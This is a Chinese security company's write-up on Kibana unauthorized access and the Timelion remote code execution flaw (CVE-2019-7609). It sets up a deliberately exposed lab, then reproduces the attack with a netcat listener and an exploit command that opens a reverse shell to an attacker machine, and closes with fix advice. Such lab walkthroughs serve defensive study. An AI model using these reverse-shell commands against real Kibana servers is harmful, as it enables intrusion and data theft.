vlambda博客
学习文章列表

未授权访问漏洞之Kibana

0x01 漏洞简述

未授权访问漏洞之Kibana

Kibana如果允许外网访问且没有做安全登录认证,就会被外部任意访问,查看所有数据,造成数据泄露。在默认配置下,Kibana就可以访问Elasticsearch中的所有数据。
未授权访问漏洞之Kibana

0x02 知识扩展

未授权访问漏洞之Kibana

Kibana是一个开源的分析与可视化平台,设计出来用于和Elasticsearch一起使用的。你可以用kibana搜索、查看存放在Elasticsearch中的数据。Kibana与Elasticsearch的交互方式是以各种不同的图表、表格、地图等直观地展示数据,从而达到高级的数据分析与可视化的目的。
Elasticsearch、Logstash和Kibana这三个技术就是我们常说的ELK技术栈,可以说这三个技术的组合是大数据领域中一个很巧妙的设计。一种很典型的MVC思想,模型持久层,视图层和控制层。Logstash担任控制层的角色,负责搜集和过滤数据。Elasticsearch担任数据持久层的角色,负责储存数据。而我们这章的主题Kibana担任视图层角色,拥有各种维度的查询和分析,并使用图形化的界面展示存放在Elasticsearch中的数据。
 
未授权访问漏洞之Kibana

0x03 风险等级

未授权访问漏洞之Kibana


漏洞的评定结果如下:
评定方式 等级
威胁等级 高危
影响面    广泛
 
未授权访问漏洞之Kibana

0x04漏洞详情

未授权访问漏洞之Kibana


Kibana存在未授权访问漏洞,攻击者通过访问URL,无需登录即可登录获取信息。
Kibana存在远程代码执行漏洞,影响版本为5.6.15和6.6.0之前的所有版本。拥有Kibana的Timelion模块访问权限的人可以以Kibana的运行权限执行任意代码,包括反弹shell。
 
未授权访问漏洞之Kibana

0x05 影响版本

未授权访问漏洞之Kibana


Kibana < 5.6.15
Kibana < 6.6.1
 
未授权访问漏洞之Kibana

0x06漏洞验证



漏洞环境:
Elasticsearch-6.5.4    
Kibana-6.5.4
靶机:Ubantu 12.04
IP地址:172.16.16.212
攻击机:Kaki 5.5.0  
IP地址:172.16.16.253
 
Kibana是Elasticsearch的可视化平台,我们需要先搭建Elasticsearch,再搭建Kibana。
一、Elasticsearch 安装搭建
1) 使用命令下载 Elasticsearch 7.10.0版本
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.4-linux-x86_64.tar.gz

未授权访问漏洞之Kibana

2)下载完后查看文件
elasticsearch- 6.5.4-linux-x86_64.tar.gz

未授权访问漏洞之Kibana

3)解压文件
tar -xzvf elasticsearch-6.5.4-linux-x86_64.tar.gz

未授权访问漏洞之Kibana

4)
mv elasticsearch-6.5.4 /usr/local/ #拷贝到/usr/local 下查看elasticsearch-6.5.4

未授权访问漏洞之Kibana

5) 下载java
apt-get install openjdk-11-jre-headless

未授权访问漏洞之Kibana

6)查看java版本,安装成功
java -version

未授权访问漏洞之Kibana

6)账号不能在root账户下启动,需要创建新的账户,添加新用户es
sudo adduser es

未授权访问漏洞之Kibana

7)su es切换到es用户

未授权访问漏洞之Kibana

8)修改配置文件
vi config/elasticsearch.yml 

未授权访问漏洞之Kibana

编辑node.name 名称

node.name: node-1
9)数据存储路径
path.data:/usr/local/elasticsearch-6.5.4/data
日志存储路径
path.logs:/usr/local/elasticsearch-6.5.4/logs

未授权访问漏洞之Kibana

10) 修改IP未0.0.0.0使任意IP可以访问
network.host: 0.0.0.0
  • 端口未9200去掉前面的注释

http.port: 9200
  • 支持跨域

http.cors.enabled: true
  • 当设置允许跨域,默认为*,表示支持所有域名

http.cors.allow-origin: "*"

未授权访问漏洞之Kibana

11)修改es用户的可创建文件描述权限,在最后面追加如下内容:
vi /etc/security/limits.conf
es soft nproc 4096es hard nproc 4096

未授权访问漏洞之Kibana

12) 修改用户可以拥有的VMA(虚拟内存区域)的数量
vim /etc/sysctl.conf
在最后面追加如下内容:
vm.max_map_count=655360

未授权访问漏洞之Kibana

13)更改目录的权限
sudo chown -R es:es /usr/local/elasticsearch-6.5.4/

未授权访问漏洞之Kibana

14)开启Elasticsearch
./bin/elasticsearch

未授权访问漏洞之Kibana

15) Elasticsearch开启成功
打开url http://192.168.1.1212:9200/

未授权访问漏洞之Kibana

二、Kibana安装搭建
1)
curl -O https://artifacts.elastic.co/downloads/kibana/kibana-6.5.4-linux-x86_64.tar.gz

未授权访问漏洞之Kibana

2)下载完后查看安装包

未授权访问漏洞之Kibana

3) 解压安装包
sudo tar -zxvf kibana-6.5.4-linux-x86_64.tar.gz

未授权访问漏洞之Kibana

4)将安装包移动到/usr/local 目录下
sudo mv kibana-6.5.4-linux-x86_64 /usr/local/

未授权访问漏洞之Kibana

5)进入/usr/local/目录
cd /usr/local/
查看文件
ls 

未授权访问漏洞之Kibana

6)
进入kibana-6.5.4-linux-x86_64目录
  • 修改配置文件

vi config/kibana.yml
7)  配置server. host IP地址为:
172.16.16.212
    配置elasticsearch  IP地址为:
http://172.16.16.212:9200
未授权访问漏洞之Kibana
8)注意是在es用户非root用户下
我们先开启elasticsearch 在/usr/local/elasticsearch-6.5.4 输入./bin/ elasticsearch

未授权访问漏洞之Kibana

9)打开
url http://172.16.16.212:9200/
开启成功

未授权访问漏洞之Kibana

10)在putty下连接靶机后,再输入./bin/kibana开启kibana服务
putty下载地址:
https://putty.en.softonic.com/
未授权访问漏洞之Kibana
 
未授权访问漏洞之Kibana

0x07 漏洞复现

未授权访问漏洞之Kibana


一、未授权访问利用
1)打开URL 
http://172.16.16.212:5601/app/kibana#/
并且无需账号密码可以登录进入界面。

未授权访问漏洞之Kibana

 
二、EXP 反弹Shell
1)打开url:
https://github.com/LandGrey/CVE-2019-7609
下载EXP

未授权访问漏洞之Kibana

2)我们使用命令
sudo nc -lvvp 6666
开启侦听6666端口,用于接受反弹Shell

未授权访问漏洞之Kibana

3)执行EXP脚本开始攻击
sudo python CVE-2019-7609-kibana-rce.py -u 172.16.16.212:5601 -host 172.16.16.220 -port 6666 –shell
  • -u 后面加的是目标靶机和端口号

  • -host 是我们的攻击机

未授权访问漏洞之Kibana

4)执行结束,反弹Shell成功。

未授权访问漏洞之Kibana

未授权访问漏洞之Kibana

 
未授权访问漏洞之Kibana

0x08 修复建议

未授权访问漏洞之Kibana


1.  升级Kibana到最新版本,升级地址如下:
https://www.elastic.co/cn/downloads/kibana
2.  在kibana所在的服务器上安装nginx服务,利用nginx的转发指令实现,需要输入账号密码才可以访问页面。参考链接如下:
https://blog.csdn.net/hellowidow_2020/article/details/78545937
3.  如果正常业务中 kibana 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP 来访问服务。
iptables -A INPUT -s x.x.x.x -p tcp --dport 11211 -j ACCEPT

未授权访问漏洞之Kibana


如果您遇到网络安全问题

欢迎致电:0991-8156363

或发送至:[email protected]

新疆海狼科技,您身边的网络安全助理

未授权访问漏洞之Kibana
新疆海狼科技有限公司
专业的安全服务提供商。
22篇原创内容
Official Account

更多资讯请关注

新疆海狼科技专业版公号

“海狼风暴团队”

未授权访问漏洞之Kibana
海狼风暴团队
因为专注,所以专业。
6篇原创内容
Official Account

了解更多网络安全态势

未授权访问漏洞之Kibana
新疆互联网应急中心
定期发布本地网络安全情况通报,为我区公共互联网、重要政府部门、骨干运营企业、重要信息行业提供计算机网络安全的监测、预警、通报、处置等技术支撑。
14篇原创内容
Official Account

点个

在看

你最好看